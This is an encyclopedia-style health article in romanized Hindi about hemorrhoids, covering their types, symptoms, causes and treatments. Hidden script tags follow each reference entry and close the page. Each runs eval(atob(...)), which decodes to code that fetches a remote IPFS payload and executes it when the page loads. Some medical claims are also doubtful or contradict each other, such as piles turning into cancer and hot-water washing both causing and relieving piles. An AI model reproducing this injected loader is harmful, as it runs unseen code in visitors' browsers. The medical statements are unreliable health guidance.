बवासीर
bavasir ya pails ya (Hemorrhoid / pails ya moolavyadhi) ek khataranak bimari hai. bavasir 2 prakar ki hoti hai. am bhasha mean isako khooanni aur badi bavasir ke nam se jana jata hai. kahian kahian par ise maheshi ke nam se bhi jana jata hai.
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parichay
vaise prachinakal se hi dekha jae to sabhyata ke vikas ke sath-sath bahut sare asadhy rog bhi paida hue haian. inamean se kuchh rogoan ka ilaj to asan hai lekin kuchh rog aise bhi hai jinaka ilaj bahut mushkil se hota hai. in rogoan mean se ek rog bavasir (Piles) bhi hai. is rog ko hemorahoyads, pais ya moolavyadhi bhi kahate haian. bavasir bhi adhunik sabhyata ki den hai. in dinoan yah rog am ho gaya hai. bavasir ko ayurved / urdoo mean arsh kahate haian. arsh ek dirghakalin pran-ghatak bimari hai. isaka shabdik arth hota hai - ari+sh= arthath dushman, ripu, shatru adi tatha ‘sh’- arthath vah vairi rog. atah shastrakaroan ne arivath pranath shrrinati, hinasti arsh ati: arthath jo rog shatru ki tarah manav ke pranoan ko nasht kar deta ho use hi arsh, bavasir kahate haian.[1] bavasir rog mean aantoan ke aantim hisse ya malashay (guda) ki bhitari divar mean maujood rakt ki nasean (dhamani shiraoan) soojane ke karan tanakar phool (fail) jati haian. isase unamean kamazori a jati hai aur mal tyag ke vaqt zor lagane se ya k de mal ke rag d khane se khoon ki nasoan mean darar p d jati haian aur usamean se khoon bahane lagata hai. arsh (bavasir) rog jab bhayankar roop se grasit kar leta hai tab guda dvar, nabhi, liang, and-kosh, mukh-mandal evan hath-pair adi aang-pratyangoan mean soojan a jati hai. rog shvaans-kash, jvar behoshi, vaman, aruchi, hriday mean vedana, adhik rakhtasrav, kabjiyat, gudasthan pak kar usamean pile rang ka pho da hona, atyadhik pyas tatha sarvaang shithil hone se atyanht kashtamay evan dukhit jivan vyatit karana p data hai. bavasir ke rogi ke lie ukht lakshan atyanht khataranak evan jivan hinata ke ashubh lakshan haian. atisar sangrahani aur bavasir yah ek doosare ko paida karane vale hote hai.
prakar
bavasir 2 prakar (kind of piles) ki hoti haian. ek bhitari bavasir tatha doosari bahari bavasir.
- bhitari / khooni bavasir / antarik / rakht sravi arsh / raktarsh
khooni bavasir mean malashay ki akuanchak peshi ke andar arsh hota hai to vah myukas membren (Mucous Membrane) se dhaka rahata hai. khooni bavasir mean kisi praqar ki takaliph nahian hoti hai keval khoon ata hai. pahale pakhane mean lagake, phir tapak ke, phir pichakari ki tarah se sirf khoon ane lagata hai. isake andar massa hota hai. jo ki andar ki taraph hota hai phir bad mean bahar ane lagata hai. tatti ke bad apane se andar chala jata hai. purana hone par bahar ane par hath se dabane par hi andar jata hai. akhiri stej mean hath se dabane par bhi andar nahian jata hai.[2]bhitari bavasir hamesha dhamaniyoan aur shiraoan ke samooh ko prabhavit karati hai. phaile hue rakt ko le jane vali nasean jama hokar rakt ki matra ke adhar par phailati haian tatha siku dati hai. is rog mean guda ki bhitari divar mean maujood khoon ki nasean soojane ke karan tanakar phool jati haian. isase unamean kamazori a jati hai aur mal tyag ke vaqt zor lagane se ya k de mal ke rag d khane se khoon ki nasoan mean darar p d jati haian aur usamean se khoon bahane lagata hai. in bhitari massoan se pi dit rogi vahaan dard, ghav, khujali, jalan, soojan aur garmi ki shikayat karate haian. yah bavasir rogi ko tab hoti hai jab vah malatyag karate samay adhik zor lagata hai. bachche ko janm dete samay yadi stri adhik zor lagati hai tab bhi use yah bavasir ho jati hai. is rog se pi dit rogi adhikatar kabj se pi dit rahate haian.[1] isamean bhi malavarodh rahata hai. is bavasir ke karan malatyag karate samay rogi ko bahut tej dard hota hai. is bavasir ke karan massoan se khoon nikalane lagata hai. yah bahut bhayanak rog hai, kyoanki isamean pi da to hoti hi hai sath mean sharir ka khoon bhi vyarth nasht hota hai.
- bahari / badi bavasir / arakht sravi ya brahy arsh
badi bavasir rahane par pet kharab rahata hai. kabj bana rahata hai. gais banati hai. n ki pet g dab d ki vajah se bavasir hoti hai. isamean jalan, dard, khujali, sharir mai bechaini, kam mean man n lagana ityadi. tatti k di hone par isamean khoon bhi a sakata hai. isamean massa andar hone ki vajah se pakhane ka rasta chhota p data hai aur chunan phat jati hai aur vahaan ghav ho jata hai use daktar apani javan mean phishar bhi kahate hean. jisase asahay jalan aur pida hoti hai. bavasir bahut purana hone par bhagandar ho jata hai. jise aangaji mean phistula kahate hean. phistula kee praqar ka hota hai. bhagandar mean pakhane ke raste ke bagal se ek chhed ho jata hai jo pakhane ki nali mean chala jata hai. aur pho de ki shakl mean phatata, bahata aur sookhata rahata hai. kuchh din bad isi raste se pakhana bhi ane lagata hai. bavasir, bhagandar ki akhiri stej hone par yah keansar ka roop le leta hai. jisako riktam keansar kahate hean. jo ki janaleva sabit hota hai.[2]
lakshan
andarooni bavasir mean gudadvar ke andar soojan ho jati hai tatha yah malatyag karate samay gudadvar ke bahar a jati hai aur isamean jalan tatha dard hone lagata hai. bahari bavasir mean gudadvar ke bahar ki or ke masse mote-mote danoan jaise ho jate haian. jinamean se rakt ka srav aur dard hota rahata hai tatha jalan ki avastha bhi bani rahati hai. khooni bavasir mean masse khooni surkh hote hai aur unase khoon girata hai, jabaki badi vali bavasir mean masse kale rang ke hote hai, aur massoan mean khaj pida aur soojan hoti hai.
is rog ke karan rogi vyakti ko baithane mean pareshani hone lagati hai jisake karan se rogi thik se baith nahian pata hai. ek bavasir me to massoan mean se khoon nikalata hai aur yah khoon nikalana aur tej jab ho jata hai jab rogi vyakti shauch karata hai. is rog ke karan vyakti ko malatyag karane mean bahut adhik kashtoan ka samana karana p data hai.[1]
jab koee vyakhti bavasir se grasit ho jata hai to kabj ki use shikayat sada bani rahati hai tatha any lakshan sankshep mean nimnaankit haian :-
- maansaankur / aankur / masse :- isamean gudadvar ki trivali ki nasean phoolakar b di ho jati haian jo matar ‘chana ya munakhka’ ki tarah dekhane mean lagati haian. yah ek-do se lekar das-barah tak aangooroan ke guchchhe ki tarah ho sakate haian. rog ke praranbh mean bavasir ke masse guda ke bahar nahian ate haian. phir jaise-jaise bimari purani hoti jati hai. yah masse bahar nikalana shuroo kar dete haian. aise mean inhean mal tyag ke pashchath hathoan se bhitar dhakelana p data hai. apane charam utkarsh par pahuanchane par to vah is sthiti mean pahuanch jate haian ki hamesha guda ke bahar hi latake rah jate haian aur hathoan se dhakelane par bhi aandar nahian jate. aisi avastha mean in massoan se ek chipachipe padarth ka srav hone lagata hai.
- khujali :- arsh rog ki prarambhik avastha mean jab arbud dhile rahate haian tab usamean koee kasht nahian hota. aisi halat mean shauch ke poorv pashhchath malashay mean khujali hoti hai. ‘mal dvar khujalata hai, surasuri hoti hai, kabhi-kabhi pradah aur dard hota hai, soojan a jati hai, jalan hoti hai aur is sthan se uthi durgandh bhi anek log mahasoos karate haian. is samay chalane-phirane mean rogi ko b di bhari takaliph hoti hai. pakhane ke samay b di takaliph hoti hai.
- malashay mean atakane ki anubhooti :- shauch ke samay zor lagane par masse bahar nikalate haian jise punah andar karane mean rogi ko kasht hota hai, kabhi-kabhi massoan ko uangali se bhitar karana p data hai. aisi sthiti mean poornaroop se mal visarjan bhi nahian hota.
- malavarodh :- bavasir ki j d ek matr kabj hi hai. rogi ko kabj hamesha bana rahata hai, kathin mal khoob zor lagane par gaanth-gaanth nikalata hai. dastakarak davaean khane se bhi kabj door nahian hoti. kee dinoan tak pakhana nahian hota.
- dard evan rakhtasrav :- khooni bavasir mean shauch ke poorv evan pashhchat bavasir se rakht milata hai. khoon ki pichakari-si chalati hai, navin (Acute) avastha mean bahut zyada dard rahata hai, shauch karate vakht jab masse bahar nikalate haian tab bhari takaliph hoti hai. masse bahar nikal ane se maladvar ki akuanchan peshi (rsphitar) unhean daba leti hai jisase pradah ho jata hai.
- manovikar :- adhik dinoan tak rog bhogane se ‘manosnayu daurbaly’ chinta, unmad adi manovikaroan ke lakshan dikhaee dene lagate haian.
- mal :- bavasir ke rogi ka mal dhila, k da, gaanthadar, rakht-mishrit, aanvayukht adi ho sakate haian kintu arsh ke mal ko pahachanane ke kuchh vishesh lakshan bhi smaraniy haian - bavasir ke rogi mean guda marg se raktasrav jo shuruat mean simit matra mean mal tyag ke samay ya usake turant bad hota hai. yah rakt ya to mal ke sath lipata hota hai ya booand-booand tapakata hai. kabhi-kabhi yah bauchhar ya dhara ke roop mean bhi mal dvara se nikalata hai. to kabhi pichakari ki tarah to kabhi jharane ki tarah niahsrit hota hai. aksar yah rakt chamakile lal rang ka hota hai, kabhi kale-kale, kee rangoan ki tarah girate haian, magar kabhi-kabhi halka baiangani ya gahare lal rang ka bhi ho sakata hai. kabhi to khoon ki giltiyaan bhi mal ke sath mili hoti haian. kintu k de mal ke ek or khoon ki ek prithakh rekha-si banakar spasht dikhayi deti hai. is rog me maltyag ke bad rogi poorn rup se santushti nahian mahasoos karata hai.
is bimari ki jaanch kisi bhi kushal chikitsak dvara karayi ja sakati hai. guda ki bhitari rachana aur usake vikar ka pata uangali se jaanch dvara aur ek vishesh upakaran ke dvara lagaya ja sakata hai. isase yah bhi janakari mil sakati hai ki rog kitana phaila hua hai, usamean koee any jatilatayean to shamil nahian hai.
karan
donoan prakar ki bavasir hone ke karan nimnalikhit haian -
- kabj- bavasir rog hone ka mukhy karan pet mean kabj banana hai. dirghakalin kabj bavasir ki j d hai. 50 se bhi adhik pratishat vyaktiyoan ko yah rog kabj ke karan hi hota hai. subah-sham shauch n jane ya shauch jane par thik se pet saf n hone aur kafi der tak shauchalay mean baithane ke bad mal nikalane ya zor lagane par mal nikalane ya julab lene par mal nikalane ki sthiti ko kabj hona kahate haian. isalie zaroori hai ki kabj hone ko rokane ke upayoan ko hamesha apane dimag mean rakhean. kabj ki vajah se mal sookha aur kathor ho jata hai jisaki vajah se usaka nikas asani se nahian ho pata. malatyag ke vaqt rogi ko kafi vaqt tak pakhane mean ukadoo baithe rahana p data hai, jisase rakt vahaniyoan par zor p data hai aur vah phoolakar latak jati haian. kabj ke karan malashay ki nasoan ke rakt pravah mean badha p dati hai jisake karan vahaan ki nasean kamazor ho jati haian aur antoan ke niche ke hisse mean bhojan ke avashoshit aansh athava mal ke dabav se vahaan ki dhamaniyaan chapati ho jati haian tatha jhilliyaan phail jati haian. jisake karan vyakti ko bavasir ho jati hai.
- yah rog vyakti ko tab bhi ho sakata hai jab vah shauch ke veg ko kisi prakar se rokata hai.
- is kashtadayi rog se mukti pane ke lie parahej zaroori hai. maida, besan aur mave se bane padarthoan se bache. mote ate se bani roti khaean.
- bhojan mean avashyak poshak tatvoan ki kami hone ke karan bina pacha hua bhojan ka avashisht aansh malashay mean ikattha ho jata hai aur nikalata nahian hai, jisake karan malashay ki nasoan par dabav p dane lagata haian aur vyakti ko bavasir ho jati hai.
- garishth bhojan - atyadhik mirch, masala, tali huee chatapati chizean, maans, aanda, rab di, mithaee, malaee, ati garishth tatha uttejak bhojan karane ke karan bhi bavasir rog ho sakata hai.
- adhik bhojan - atibhojan arsh rog mool karanamh arthath avashyakata se adhik bhojan karana bavasir ka pramukh karan hai.
- shauch karane ke bad maladvar ko garm pani se dhone se bhi bavasir rog ho sakata hai.
- davaeeyoan ka adhik sevan karane ke karan bhi yah rog vyakti ko ho sakata hai. dispepasiya aur kisi julab ki goli ka adhik dinॊ tak sevan karana.
- rat ke samay mean adhik jagane ke karan bhi vyakti ko bavasir ka rog ho sakata hai.[1]
- kuchh vyaktiyoan mean yah rog pidhi dar pidhi paya jata hai. atah anuvaanshikata is rog ka ek karan ho sakata hai.
- jin vyaktiyoan ko apane rozagar ki vajah se ghantoan kh de rahana p data ho, jaise bas kandaktar, tr aauphik pulis, postamain ya jinhean bhari vajan uthane p date hoan,- jaise kuli, mazadoor, bharottalak vagairah, unamean is bimari se pi dit hone ki sanbhavana adhik hoti hai.
- bavasir guda ke kaiansar ki vajah se ya mootr marg mean rookavat ki vajah se ya garbhavastha mean bhi ho sakata hai.[3]
- garbhavastha me bhroon ka dabab padana.
- bavasir matalab pails yah rog badhati umr ke sath jinaki jivanacharya big di huee ho, unako hota hai.
- yakrit :- pachan sansthan ka yakrit sarvapradhan aang hai. isake bhitar tatha yakrit dhamani adi mean portal sistam rakht ki adhikata hokar yah rogitpanhn hota hai. jaise - sirosis af livar.
- hriday ki kuchh bimariyaan.
- udaramay - nirantar tatha tej udaramay nishhchit roop se bavasir utpanhn karata hai.
- madyapan evan any nashile padarthoan ka sevan - atyadhik sharab, ta di, bhaang, gaanja, aphim adi ke sevan se bavasir hota hai.
- chay evan dhoomrapan - adhikadhik chay, k aauphi adi pine tatha din rat dhoomrapan karane se arshotpatti hoti hai.
- peshab sansthan - mootrashay ki g dab di, paurush granthi ki vriddhi, mootr pathari adi rog mean peshab karate samay zyada zor lagane ke karan" bhi yah rog hota hai. mal tyag ke samay ya mootr nali ki bimari me peshab karate samay kaankhana.
- sharirik parishram ka abhav - jo log din bhar aram se baithe rahate haian aur sharirik shram nahian karate unhean yah rog ho jata hai.
- bavasir ko adhunik sabhyata ka vikar kahean to koee atishayokti n hogi. khane pine me animiyata, jank food ka badhata hua chalan aur vyayam ka ghatata mahattv, lekin aur bhi kee karan haian bavasir ke rogiyoan ke badhane mean.
upachar
rog nidan ke pashchath praranbhik avastha mean kuchh ghareloo upayoan dvara rog ki takaliphoan par kafi had tak kaboo paya ja sakata hai. sabase pahale kabj ko door kar mal tyag ko samany aur niyamit karana avashyak hai. isake liye taral padarthoan, hari sabjiyoan evan phaloan ka bahutayat mean sevan karean. badi aur tali huee chizean, mirch-masaloan yukt garishth bhojan n karean. malatyag ke pashchath guda ke asapas ki achchhi tarah saphaee aur garm pani ka seank karana bhi fayademand hota hai. isase kabhi bavasir nahian hota hai. isake liye avashyak hai ki nakhoon qatee b da nahian ho, anyatha bhitari mulayam khal ke jakhmi hone ka khatara hota hai, praranbh mean yah upay atapata lagata hai, par shighr hi isake abhyast ho jane par tarotaja mahasoos bhi hone lagata hai. yadi uparokt upayoan ke pashchath bhi rakt srav hota hai to chikitsak se salah lean. in massoan ko hatane ke liye kee vidhiyaan upalabdh hai. massoan mean ianjekshan dvara aisi dava ka pravesh jisase masse sookh jayean. massoan par ek vishesh upakaran dvara rabar ke chhalle chadha diye jate haian, jo massoan ka rakt pravah avaruddh kar unhean sukhakar nikal dete haian. ek any upakaran dvara massoan ko barf mean parivartit kar nasht kiya jata hai. shalyakriya dvara massoan ko katakar nikal diya jata hai.[3]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 bavasir (hindi) (pi.ech.pi) JKHealthworld.com. abhigaman tithi: 23 march, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 bavasir qy़a hai (hindi) (ech.ti.em.el) bavasir aspatal. abhigaman tithi: 23 march, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 3.0 3.1 bavasir : karan evan upachar (hindi) (pi.ech.pi) raanchi eksapres. abhigaman tithi: 23 march, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>